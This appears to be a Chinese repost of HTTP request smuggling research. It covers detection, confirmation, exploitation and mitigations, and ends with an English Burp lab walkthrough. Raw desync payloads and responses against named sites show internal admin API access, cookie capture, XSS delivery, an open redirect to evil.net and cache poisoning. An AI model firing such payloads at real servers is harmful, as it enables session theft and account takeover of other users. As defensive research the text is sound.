目录
东窗事发
HTTP请求理论上是独立的实体，但利用http请求走私技术可以突破理论限制，远程攻击者在未经身份验证的情况下，轻松攻击目标网络基础设施。
事故实例
事故名称：Tomcat请求漏洞（Request Smuggling）
CVE编码：CVE-2014-0227
漏洞描述：通过在chucked请求中包含一个非正常的chunk数据有可能导致Tomcat将该请求的部分数据当成一个新请求。
危害等级：严重
漏洞局限性
技术难度高，要求对处理HTTP消息的各种代理相当熟悉，因此一直被忽略。
技术攻坚
从HTTP/1.1开始，就广泛支持通过一个底层TCP或SSL/TLS套接字发送多个HTTP请求。将HTTP请求背靠背放置，服务器就会解析标头，以确定每个请求的结束位置和下一个开始的位置。不过该协议却常常与HTTP管线化(HTTP pipelining)混淆，这是因为在默认情况下，HTTP 协议中每个传输层连接只能承载一个 HTTP 请求和响应，浏览器会在收到上一个请求的响应之后，再发送下一个请求。在使用持久连接的情况下，某个连接上消息的传递类似于请求1 -> 响应1 -> 请求2 -> 响应2 -> 请求3 -> 响应3。
HTTP Pipelining（管线化）是将多个 HTTP 请求整批提交的技术，在传送过程中不需等待服务端的回应。使用 HTTP Pipelining 技术之后，某个连接上的消息变成了类似这样请求1 -> 请求2 -> 请求3 -> 响应1 -> 响应2 -> 响应3
就HTTP Pipelining本身而言，这是无害的。然而，现代网站是由一系列系统组成的，所有这些系统都通过HTTP进行通信。这种多层架构会接收来自多个不同用户的HTTP请求，并通过单个TCP / TLS连接进行路由。
后端与前端必须在很短的时间内就每个消息的结束位置达成一致。否则，攻击者可能会发送一个模棱两可的消息，被后端解释为两个不同的HTTP请求。这使攻击者能够在下一个合法用户的请求开始时，预先向请求中添加任意内容。如图，走私的内容（“前缀”），以橙色突出显示：
假设前端优先考虑第一个内容长度头部，后端优先考虑第二个内容长度头部。从后端角度看，TCP的流程可能是以下这样的：
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
12345GPOST / HTTP/1.1
Host: example.com
…
在这个例子中，注入的“G”将攻击绿色用户的请求，他们可能会得到类似于“Unknown method GPOST”的响应。
本文中的每次攻击都会按着这种基本格式进行，Watchfire在他的研究文章描述了一种称为“向后请求走私”的替代方法，但这依赖于前端和后端系统之间的管线，因此这种方法很少会被使用。
而在现实中，双内容长度技术很少被使用，因为许多系统会明确地地拒绝具有多个内容长度头的请求。相反，我们将使用分块编码攻击系统，不过前提是使用RFC 2616规范。分块编码是HTTP1.1协议中定义的Web用户向服务器提交数据的一种方法，当服务器收到chunked编码方式的数据时会分配一个缓冲区存放之，如果提交的数据大小未知，客户端会以一个协商好的分块大小向服务器提交数据。
分块编码是是HTTP1.1协议中定义的Web用户向服务器提交数据的一种方法，当服务器收到chunked编码方式的数据时会分配一个缓冲区存放之，如果提交的数据大小未知，客户端会以一个协商好的分块大小向服务器提交数据。
如果接收到的消息同时具有传输编码标头字段和内容长度标头字段，则必须忽略内容长度标头字段。
由于RFC 2616规范默许可以使用Transfer-Encoding: chunked and Content-Length处理请求，因此很少有服务器拒绝此类请求。这意味着，无论何时，只要我们能够找到一种方法将传输编码标头隐藏在服务器中，它就会返回使用内容长度，这样我们就可以使整个系统失去同步。
你可能不太熟悉分块编码，因为Burp Suite之类的工具会自动将分块请求或响应缓冲到常规消息中，以便于编辑。在分块消息中，主体由0个或多个块组成。每个块由块大小组成，后跟一个换行符(\r\n)，后面跟块内容。消息以大小为0的块终止。下面是使用分块编码的简单的去同步攻击:
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked
0
GPOST / HTTP/1.1
Host: example.com
此时，我们还没有在隐藏传输编码标头，所以这个漏洞利用主要适用于前端根本不支持分块编码的系统，这也是在许多网站上看到的使用内容传输网络Akamai的行为。
如果是后端不支持分块编码，我们需要翻转偏移量。
POST / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked
6
PREFIX
0
POST / HTTP/1.1
Host: example.com
这种技术本来就适用于相当多的系统，但只要将传输编码标头经过简单地处理，变得稍微难以识别，就可以悄无声息地隐藏在系统中。这可以使用服务器HTTP解析中的差异来实现。下面是一些只有一些服务器能够识别Transfer-Encoding: chunked。在本研究中，每一个标头都成功地利用了至少一个系统:
如果前端和后端服务器都有这些特点，那么它们中的每一个都是无害的，否则就是一个主要的威胁。要了解更多技术，请查看regilero正在进行的研究，我们将简要介绍一下使用其他技术的实际例子。
检测请求走私
直接使用模糊测试，在针对大流量目标时，极易受其他用户请求干扰，攻击响应会被其他用户得到，从而无法检测漏洞的存在。
可使用一系列消息，这些消息使易受攻击的后端系统挂起并使连接超时。这种技术几乎没有误报，可以抵抗应用程序级的异常，否则会导致漏报，最重要的是几乎没有影响其他用户的风险。
我们可以通过发送以下请求来检测潜在的请求走私：
POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 4
1
Z
Q
CL.TE
假设前端服务器使用内容长度标头，后端使用传输编码标头。由于内容长度较短，前端将只转发蓝色文本，而后端将在等待下一个块大小时超时，这将导致可观察到的时间延迟。
TE.TE或CL.CL
如果两个服务器同步（TE.TE或CL.CL），请求将被前端拒绝或由两个系统无害地处理。
TE.CL
由于无效的块大小“Q”，前端将拒绝消息，而不会将其转发到后端，这可以防止后端套接字被感染。
再使用以下请求安全地检测：
POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
TE.CL desync
由于 以“0”块结束，前端将只转发蓝色文本，而后端将超时等待X到达。
CL.TE
使用X感染后端套接字。这可能会损害合法用户，但通过首先运行先前的检测方法，我们可以排除这种可能性。
这些请求可以适应目标解析中的任意差异，它们用于通过HTTP Request Smuggler自动识别请求走私漏洞，HTTP请求走私者开发了一个开源的Burp Suite扩展来帮助处理此类攻击，它们现在也在Burp Suite的核心扫描器中使用。尽管这是一个服务器级别的漏洞，但是单个域中的不同端点常常路由到不同的目标，因此应该将此技术应用于每个端点。
漏洞确认工作
漏洞确认需要做的就是证明后端套接字是否遭受了感染。发出一个旨在感染后端套接字的请求，然后发出一个请求，该请求有望成为感染的受害者，明显改变原有的响应。如果第一个请求导致错误，后端服务器可能会决定关闭连接，放弃受感染的缓冲区并中断攻击。要避免这种情况，可以将目标对准设计为接受POST请求的端点，并保留任何预期的GET/POST参数。
有些站点有多个不同的后端系统，前端通过查看每个请求的方法、URL和标头来决定将其路由到哪里。如果受害者请求被路由到与攻击请求不同的后端，则攻击将失败。因此，可以确定“攻击”的内容和“受害者”的最初请求应该是相似的。
如果目标请求如下：
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
q=smuggling
（1）尝试CL.TE套接字感染：
OST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Transfer-Encoding: zchunked
11
=x&q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: bPOST /search HTTP/1.1
Host: example.com
…
如果攻击成功，受害者请求(绿色)将得到404响应。
（2）TE.CL攻击看起来和受害者的请求很相似，但是需要一个关闭块，这意味着我们需要自己指定所有的标头，并将受害者请求放入主体中。确保前缀中的内容长度略大于正文:
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: zchunked
96
GET /404 HTTP/1.1
X: x=1&q=smugging&x=
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
x=
0
POST /search HTTP/1.1
Host: example.com
如果该站点处于活动状态，则其他用户的请求可能会在你的请求之前遇到被感染的套接字，这将使你的攻击失败。因此，这个过程通常需要几次尝试，在高流量站点上可能需要数千次尝试。
由于前端常常附加和重写HTTP请求头，如X-Forwarded-Host和X-Forwarded-For以及许多通常具有难以猜测的名称的自定义标头。我们走私的请求可能缺少这些头，这可能导致意外的应用程序行为和失败的攻击。
不过通过简单的方法，我们可以看到这些隐藏的标题。这使我们可以通过手动添加标头来恢复功能，甚至可能启用进一步的攻击。
只需在目标应用程序上找到一个反射POST参数的页面，对参数顺序进行调整，使反射的参数成为最后一个即可，稍微增加内容长度后，即可走私生成的请求：
POST / HTTP/1.1
Host: login.newrelic.com
Content-Length: 142
Transfer-Encoding: chunked
Transfer-Encoding: x
0
POST /login HTTP/1.1
Host: login.newrelic.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
…
login[email]=asdfPOST /login HTTP/1.1
Host: login.newrelic.com
绿色请求将在登陆参数之前由前端重写，因此当它被反射回来时，就会泄漏所有内部标头：
Please ensure that your email and password are correct.
<input id="email" value="asdfPOST /login HTTP/1.1
Host: login.newrelic.com
X-Forwarded-For: 81.139.39.150
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external通过增加内容长度标头，你可以逐步检索更多的信息，直到尝试读取超出受害者请求末尾的内容并超时为止。
有些系统完全依赖于前端系统来保证安全性，一旦你绕过它们，就可以直接进入系统内部。在login.newrelic.com上（NewRelic是一家提供Rails性能监测服务的网站, NewRelic提供了不同级别的监测功能），“后端”系统会进行自我代理，因此更改走私的主机标头会允许我访问不同的New Relic系统。最初，我点击的每个内部系统都认为我的请求是通过HTTP发送的，并通过重定向进行响应：
...
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
HTTP/1.1 301 Moved Permanently
Location: https://staging-alerts.newrelic.com/使用前面观察到的X-Forwarded-Proto标头很容易解决这个问题：
...
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
HTTP/1.1 404 Not Found
Action Controller: Exception caught根据以下内容可知，在目标上找到了一个有用的端点:
...
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
HTTP/1.1 200 OK
Not authorized with header:这条错误消息提示需要某种类型的授权标头，但令人费解的是，我却没有能给它命名。于是，我决定尝试一下前面看到的“X-nr-external-service”标头文件:
...
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
X-nr-external-service: 1
HTTP/1.1 403 Forbidden
Forbidden不幸的是，这并没有奏效，而是出现了与我们在尝试直接访问该URL时所看到的相同的禁止响应。这表明前端使用X-nr-external-service标头来表明请求来自互联网，并通过走私删除标头。这反而让我们成功地欺骗了系统，使其认为我们的请求来自内部。虽然这非常有参考意义，但没有直接的用处，我们仍然需要那些被删除的授权标头的名称。
此时我可以将处理后的请求反射技术应用于一系列端点，直到找到一个具有正确请求标头的端点。但这个过程太慢，我决定采取一些歪门小道的办法，并参考我上次感染New Relic时的经验。不出所料，我发现了两个非常有价值的标头：Server-Gateway-Account-Id和Service-Gateway-Is-Newrelic-Admin。使用这些，我能够获得对其内部API的管理员级访问权限：
POST /login HTTP/1.1
Host: login.newrelic.com
Content-Length: 564
Transfer-Encoding: chunked
Transfer-encoding: cow
0
POST /internal_api/934454/session HTTP/1.1
Host: alerts.newrelic.com
X-Forwarded-Proto: https
Service-Gateway-Account-Id: 934454
Service-Gateway-Is-Newrelic-Admin: true
Content-Length: 6
…
x=123GET...
HTTP/1.1 200 OK
{
"user": {
"account_id": 934454,
"is_newrelic_admin": true
},
"current_account_id": 934454
…
}New Relic部署了一个修补程序，专门预防F5网关的漏洞。据我所知，这个修补方案并没有解决根问题，这意味着在撰写本文时这仍然是一个0 day漏洞。
形成检测工具
这是burpsuite的一个插件，安装流程如下：
前往扩界面
Practice
We've released a collection of free online labs to practise against. Here's how to use the tool to solve the first lab - HTTP request smuggling, basic CL.TE vulnerability:
- Use the Extender->BApp store tab to install the 'Desynchronize' extension.
- Load the lab homepage, find the request in the proxy history, right click and select 'Launch Desync probe', then click 'OK'.
- Wait for the probe to complete, indicated by 'Completed 1 of 1' appearing in the extension's output tab.
- If you're using Burp Suite Pro, find the reported vulnerability in the dashboard and open the first attached request.
- If you're using Burp Suite Community, copy the request from the output tab and paste it into the repeater, then complete the 'Target' details on the top right.
- Right click on the request and select 'Smuggle attack (CL.TE)'.
- Change the value of the 'prefix' variable to 'G', then click 'Attack' and confirm that one response says 'Unrecognised method GPOST'.
By changing the 'prefix' variable in step 7, you can solve all the labs and virtually every real-world scenario.
漏洞利用
直接进入内部API固然很好，但该方法并不是我们唯一的选择，我们还可以针对浏览目标网站的每个人发起大量不同的攻击。
为了确定哪些攻击可以应用于其他用户，我们首选需要了解哪些类型的请求可以被感染。为此，你要从“确认”阶段不断地重复套接字感染测试，不断调整“受害者”请求，直到它类似于典型的GET请求。在这一过程中，你可能会发现，你只能使用某些特定的方法、路径或标头来感染请求。此外，尝试从不同的IP地址发出受害者请求，此时，你可能会发现你只能感染来自同一IP的请求。
最后，检查网站是否使用了web缓存，这些可以帮助你绕过许多限制，增强感染成功的几率，并最终增加请求走私漏洞的严重性，完成攻击任务。
请求存储
如果应用程序支持编辑或存储任何类型的文本数据，那么漏洞利用就非常容易。通过在受害者的请求前缀上加上一个精心设计的存储请求，我们可以让应用程序保存他们的请求并将其显示给我们，然后窃取任何身份验证cookie或标头。以下是使用其profile-edit编辑端点定位Trello的示例：
POST /1/cards HTTP/1.1
Host: trello.com
Transfer-Encoding:[tab]chunked
Content-Length: 4
9f
PUT /1/members/1234 HTTP/1.1
Host: trello.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
x=x&csrf=1234&username=testzzz&bio=cake
0
GET / HTTP/1.1
Host: trello.com
一旦受害者的请求被我获取，就会保存在个人资料中，进而暴露出所有的头部和cookie:
攻击
触发被感染的响应的主要方式有两种，其中最简单的方法是发出一个“攻击”请求，然后等待其他人的请求到达后端套接字并触发有害响应。另外一个方法虽然很强大，但也很复杂，就是我们自己发出“攻击”和“受害者”请求，并希望对受害者请求的被污染响应通过Web缓存保存并提供给访问相同URL的任何其他人，目的是实现web缓存感染。
在下面的每个请求或响应片段中，黑色文本是对第二个(绿色)请求的响应。对第一个(蓝色)请求的响应被省略，因为攻击中用不到它。
升级XSS
反射XSS本身很好，但是难以大规模利用，因为它需要用户交互。
通过请求走私，我们可以将包含XSS的响应发送给任意一个浏览网站的人，从而实现直接的大规模利用。另外，我们还可以访问身份验证标头，并只访问HTTP cookie，这可能会让我们转向其他域。
POST / HTTP/1.1
Host: saas-app.com
Content-Length: 4
Transfer-Encoding : chunked
10
=x&cr={creative}&x=
66
POST /index.php HTTP/1.1
Host: saas-app.com
Content-Length: 200
SAML=a"><script>alert(1)</script>POST / HTTP/1.1
Host: saas-app.com
Cookie: …
HTTP/1.1 200 OK
…
<input name="SAML" value="a"><script>alert(1)</script>
0
POST / HTTP/1.1
Host: saas-app.com
Cookie: …
"/>
捕获DOM
在www.redhat.com上寻找请求走私链的漏洞时，发现了一个基于DOM的开放重定向:
GET /assets/idx?redir=//redhat.com@evil.net/ HTTP/1.1
Host: www.redhat.com
HTTP/1.1 200 OK
<script>
var destination = getQueryParam('redir')
[poor filtering]
document.location = destination
页面上的一些JavaScript是从受害者浏览器的查询字符串中读取'redir'参数，但我如何控制该参数呢？请求走私可以让我们能够控制服务器需要的查询字符串，但问题是，受害者的浏览器对查询字符串的需要仅仅是他们试图访问的任何页面。
我能够通过链接服务器端非开放重定向来解决这个问题：
POST /css/style.css HTTP/1.1
Host: www.redhat.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Transfer-Encoding: chunked
0
POST /search?dest=../assets/idx?redir=//redhat.com@evil.net/ HTTP/1.1
Host: www.redhat.com
Content-Length: 15
x=GET /en/solutions HTTP/1.1
Host: www.redhat.com
HTTP/1.1 301 Found
Location: ../assets/idx?redir=//redhat.com@evil.net/受害者浏览器将收到301重定向到https://www.redhat.com/assets/x.html?redir=//redat.com@evil.net/，然后执行基于DOM的开放重定向并在evil.net上转储它们。
CDN链接
目前一些网站使用多层反向代理和CDN，这就给了我们提供了额外的机会去同步，这种机会一直是攻击者最喜欢的机会，并且通常也会增加严重性。
其中一个目标是以某种方式使用两层Akamai，尽管服务器来自同一个供应商，但仍有可能对它们进行去同步化处理，从而在受害者网站上的Akamai网络的任何地方提供内容:
POST /cow.jpg HTTP/1.1
Host: redacted.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: www.redhat.com
X: XGET...
Red Hat - We make open source technologies for the enterprise同样的概念也适用于SaaS提供商，我能够利用一个构建在著名SaaS平台上的关键网站，将请求定向到构建在相同平台
“无污染”的响应
因为请求走私允许我们影响对任意请求的响应，所以一些通常被认为是无法进行感染的行为也可以被加以利用。例如，即使是简单的开放重定向也可以通过将JavaScript导入重定向到恶意域来危害帐户。
使用307代码的重定向特别有用，因为发出POST请求后收到307代码的浏览器会将POST重新发送到新的目的地，这可能意味着你可以让不知情的受害者直接将明文密码发送到你的网站。
传统的开放重定向本身非常常见，但是有一种经过技术迭代的开放重定向则非常流行，因为它源于Apache和IIS中的默认行为。由于该技术是无害的，几乎每个人都忽略了它。究其原因，就是因为该技术没有像请求走私这样的额外附带的漏洞。如果你尝试访问没有斜杠的文件夹，服务器将使用重定向响应以使用主机头中的主机名附加斜杠：
POST /etc/libs/xyz.js HTTP/1.1
Host: redacted
Content-Length: 57
Transfer-Encoding: chunked
0
POST /etc HTTP/1.1
Host: burpcollaborator.net
X: XGET /etc/libs/xyz.js HTTP/1.1
HTTP/1.1 301 Moved Permanently
Location: https://burpcollaborator.net/etc/使用此技术时，请密切关注重定向中使用的协议。你可以使用像X-Forwarded-SSL这样的标头来影响它。如果它停留在HTTP上，而你正在攻击HTTPS站点，则受害者的浏览器将因其混合内容保护而阻止连接。不过有两个已知的例外情况可以完全绕过Internet Explorer的混合内容保护，如果重定向目标位于其HSTS缓存中，Safari将自动升级到HTTPS的连接。
Web缓存感染
在针对特定网站尝试某些基于重定向的攻击几个小时后，我在浏览器中打开了他们的主页以查找更多攻击面并在开发控制台中发现以下漏洞：
无论从哪台设备加载网站，这个漏洞都会发生，而且IP地址看起来也非常熟悉。在重定向探测期间，在我的受害者请求之前，已经有人发现了映像文件的请求，并且缓存保存了感染的响应。
这是潜在影响的一个很好的证明，但总的来说不是一个理想的结果。除了依赖基于超时的检测之外，没有办法完全消除意外缓存感染的可能性。也就是说，为了将风险降到最低，你可以采用以下缓解措施:
1.确保“受害者”请求有缓存器；
2.使用Turbo Intruder，尽快发送“受害者”请求。Turbo Intruder是一个从头开始构建的并充分考虑其执行速度的研究级开源Burp Suite扩展。此外我还讨论了有关基础HTTP滥用的例子在启用Turbo Intruder后其速度得到了显著的提升。因此你也可以在任何你编写的工具中获得类似的速度；
3.尝试创建一个前缀，以触发带有反缓存标头的响应，或者不太可能缓存的状态代码；
4.让目标前端在一个地理区域暂时休眠。
Web缓存欺骗
Web缓存欺骗这种攻击技术比较新颖危害也比较大，利用这种攻击技术攻击者可以泄露服务器上存储的用户敏感信息，甚至拿到用户的账户权限。当然，这种攻击技术与目标网站所使用的框架，缓存机制等因素有关。Web缓存欺骗，包括web框架以及缓存机制等在内的许多技术都会受到这种攻击的影响。攻击者可以使用这种方法提取web用户的私人及敏感信息，在某些场景中，攻击者利用这种方法甚至可以完全接管用户账户。Web应用框架涉及许多技术，这些技术存在缺省配置或脆弱性配置，这也是Web缓存欺骗攻击能够奏效的原因所在。
如果我们不尝试缓解攻击者或用户混淆响应缓存的机会，结果会怎样呢?
我们可以尝试使用受害者的Cookie获取包含敏感信息的响应，而不是使用旨在导致被污染响应的前缀：
POST / HTTP/1.1
Transfer-Encoding: blah
0
GET /account/settings HTTP/1.1
X: XGET /static/site.js HTTP/1.1
Cookie: sessionid=xyz下图就是从前端的角度看到的结果：
GET /static/site.js HTTP/1.1
HTTP/1.1 200 OK
Your payment history
…当用户对静态资源的请求命中感染套接字时，响应将包含其帐户详细信息，缓存将通过静态资源保存这些信息。然后，我们可以通过从缓存中加载/static/site.js来检索帐户详细信息。
这实际上是Web缓存欺骗攻击的一种新变体，该变体在两个关键方面变得更强大了，因为它不需要任何用户交互，也不需要目标站点允许你使用扩展。不过缺点就是，攻击者不能确定受害者的响应会发生在哪个位置。
缓解措施
以通过将前端服务器配置为只使用HTTP/2与后端系统通信，或者完全禁用后端连接重用来解决此漏洞的所有变体，或者，你可以确保连接中的所有服务器运行具有相同配置的相同web服务器软件。
本文中提到的这些特定实例可以通过重新配置前端服务器来解决，以便在路由模糊请求之前对其进行规范化。对于不想让客户受到攻击的CDN来说，这可能是唯一可行的解决方案。目前，Cloudflare和Fastly似乎已经应用了这一方案。
规范化请求不是后端服务器的选项，它们需要彻底拒绝模糊的请求，并删除关联的连接。由于拒绝请求比简单地将请求规范化更有可能影响合法的流量，所以我建议将重点放在防止通过前端服务器进行请求走私上。
工欲善其事必先利其器，目前大多数web测试工具在发送请求时都会自动“纠正”内容长度标头，从而无法进行请求走私。在Burp Suite中，你可以使用Repeater菜单禁用此行为，确保你选择的工具具有相同的功能。此外，某些公司和漏洞赏金平台会通过Squid之类的代理来测试他们的测试人员的流量以进行监控。这些将破坏测试人员发起的任何走私攻击请求，确保公司对此漏洞做到全面杜绝。Squid是一个高性能的代理缓存服务器，Squid支持FTP、gopher、HTTPS和HTTP协议。和一般的代理缓存软件不同，Squid用一个单独的、非模块化的、I/O驱动的进程来处理所有的客户端请求。
How to prevent HTTP request smuggling vulnerabilities
HTTP request smuggling vulnerabilities arise in situations where a front-end server forwards multiple requests to a back-end server over the same network connection, and the protocol used for the back-end connections carries the risk that the two servers disagree about the boundaries between requests. Some generic ways to prevent HTTP request smuggling vulnerabilities arising are as follows:
- Disable reuse of back-end connections, so that each back-end request is sent over a separate network connection.
- Use HTTP/2 for back-end connections, as this protocol prevents ambiguity about the boundaries between requests.
- Use exactly the same web server software for the front-end and back-end servers, so that they agree about the boundaries between requests.
In some cases, vulnerabilities can be avoided by making the front-end server normalize ambiguous requests or making the back-end server reject ambiguous requests and close the network connection. However, these approaches are potentially more error-prone than the generic mitigations identified above.
3300
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
